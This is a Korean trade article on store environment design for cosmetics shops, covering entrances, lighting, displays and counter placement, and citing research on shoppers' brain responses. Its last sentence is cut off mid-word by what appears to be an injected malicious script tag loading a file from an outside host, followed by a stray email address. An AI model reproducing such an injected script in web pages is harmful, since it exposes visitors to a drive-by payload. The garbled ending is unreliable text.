하버드대학 자르트만 교수 연구에 따르면 여자가 쇼핑을 할 때는 뇌속의 피 흐름이 달라진다고 한다. 즉, 점원이 반강제적으로 물건을 떠맡기거나 점포 환경이 불결할 경우에는 부정적 반응을 일으키는 오른쪽 전두엽 전부 피질이나 해마 쪽으로 피가 급격하게 흘러들어간다.
반면, 점원이 친절하고 매장환경이 깨끗한 점포에서는 만족도를 높여주는 왼쪽 전두엽 전부 피질로 피가 흘러 들어간다는 것이다. 이 교수는 이런 연구결과를 바탕으로 자동차 회사 쇼룸 디자인을 바꿔 판매량을 30%나 증가시켰다고 밝혔다. 이는 매장환경이 매출에 얼마나 많은 영향을 끼치고 있는지를 보여주는 단적인 예다.
화장품 매장 역시 환경의 중요성은 아무리 강조해도 지나침이 없다. 업체에서 지원 받는 매대와 인테리어에만 의존해 매장에 대한 투자 없이 제품판매에만 급급 한다면 점차 사라져가고 있는 전문점 현황 속에서 사라진 매장 수치 중의 한 부분을 언제 차지하게 될지 모를 일이다.
⊙ 출입구
출입구는 고객을 맞이하는 최초의 장소이기 때문에 무엇보다 세심한 주의가 필요하다. 기본적으로 매장은 ‘들어가기 쉽게, 돌아다니기 편하게, 상품을 쉽게 구할 수 있게, 선택하기 쉽게’구성돼 있어야 한다. 특히, 출입구는 들어가기 쉽고 나오기 쉽게 되어있어야 하는데 출입구의 위치는 마주 볼 때 좌측이나 중앙에 두는 것이 이상적이다.
출입구는 고객을 보도면에서 자연스럽게 유도할 수 있도록 평탄하게 한다. 특히, 출입구는 고객이 처음 대하는 장소인 만큼 디자인, 컬러마크 등의 표현을 기본으로 해서 개성을 나타내는 공간연출이 무엇보다 필요하다.
⊙ 조명
매장 환경에 있어서 조명은 상당한 부문을 차지한다. 조명을 어떻게 하느냐에 따라 매장 분위기가 180도 변할 수 있기 때문이다.
화장품전문점의 경우 조명은 정리되고 편안한 느낌을 주는 것이 중요하며, 고객에게 포인트를 주기 위한 제품군의 경우 조명에 의한 밝기의 입체적 효과를 전달하는 것이 좋다. 일반적으로 화장품전문점의 경우 전체적으로 조명이 밝은 수준을 유지하고 있다.
매장전체를 밝게 하는 것은 진열돼있는 제품군을 모두 고객에게 전달하고자 하는 의도를 담고 있지만 집중적인 포인트를 전달하지 못한다는 단점이 있다. 매장의 특화된 거점브랜드나 주력제품의 경우 조명을 달리해 시선을 집중시키는 것도 하나의 방법이다.
⊙ 상품 디스플레이
상점 내의 물건이 잘 팔리는 매장은 손님의 눈을 멈추게 하고 흥미를 느끼게 하며, 갖고 싶은 욕망을 느껴 구매하도록 제품이 디스플레이 돼있다.
화장품 매장의 디스플레이를 보다 효과적으로 하려면 상점 내에 있는 상품 이외의 것을 이용해 긴장감을 연출하는 것이 좋다.
이 연출의 포인트는 손님에게 사는 즐거움, 사고 나서의 즐거움을 상상할 수 있도록 하는 것. 특히, 계절적인 영향을 많이 받는 화장품매장의 경우 각계절의 이미지를 적절히 이용한 배경연출을 하면 더욱 효과적이다.
⊙ 카운터와 상품배치
카운슬링 매장의 경우 판매원 대 고객의 커뮤니케이션 및 서비스가 주를 이루는 판매 형태이기 때문에 접객 진열대 및 접객 카운터는 사람들이 많이 늘어선 쪽에는 대면 진열대를, 적은 쪽에는 상담 카운터를 배치하는 것이 바람직하다.
셀프 매장의 경우는 상점 앞쪽이나 주 동선상에 눈에 띄는 디스플레이 공간 및 자유선택 공간을 배치하는 것이 좋다.
상품배치는 점포 앞쪽에는 계절 제안상품 및 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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